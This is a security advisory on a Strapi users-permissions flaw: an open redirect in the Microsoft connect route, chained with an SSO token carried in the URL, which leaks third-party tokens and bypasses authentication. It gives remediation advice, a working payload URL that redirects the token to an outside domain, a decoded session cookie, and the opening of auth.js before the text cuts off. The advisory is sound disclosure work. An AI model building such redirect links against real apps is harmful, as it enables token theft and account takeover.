@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass
Summary
By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).
Impact
Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.
Technical details
Vulnerability 1: Open Redirect
Description
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.
Remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:
- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend <span dir="">http://yourdomainname.com</span> to the URL before issuing the redirect.
Example 1: Open Redirect in <span dir="">/api/connect/microsoft</span> via $_GET["callback"]
- Path: <span dir="">/api/connect/microsoft</span>
- Parameter:
$_GET["callback"]
Payload:
```plaintext
https://google.fr/
```
Final payload:
```plaintext
https://<TARGET>/api/connect/microsoft?callback=https://google.fr/
```
User clicks on the link:
Look at the intercepted request in Burp and see the redirect to Microsoft:
Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.
Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):
The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So <span dir="">\<TARGET\></span> is using the cookies (koa.sess) to redirect.
koa.sess cookie:
```base64
eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
```
```json
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"_expire":1700234244263,"_maxAge":86400000}
```
The vulnerability seems to come from the application's core:
File: [<span dir="">packages/plugins/users-permissions/server/controllers/auth.js</span>](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/controllers/auth.js)
```js
'use strict';
/**
*
- @description: A set of functions called "actions" for managing
Auth.
*/
/* eslint-disable no-useless-escape */
const crypto = require('crypto');
const _ = require('lodash');
const { concat, compact, isArray } = require('lodash/fp');
const utils = require('@strapi/utils');
const {
contentTypes: { getNonWritableAttributes },
} = require('@strapi/utils');
const { getService } = require('../utils');
const {
validateCallbackBody,
validateRegisterBody,
validateSendEmailConfirmationBody,
validateForgotPasswordBody,
validateResetPasswordBody,
validateEmailConfirmationBody,
validateChangePasswordBody,
} = require('./validation/auth');
const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;
const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;
const sanitizeUser = (user, ctx) => {
const { auth } = ctx.state;
const userSchema = s
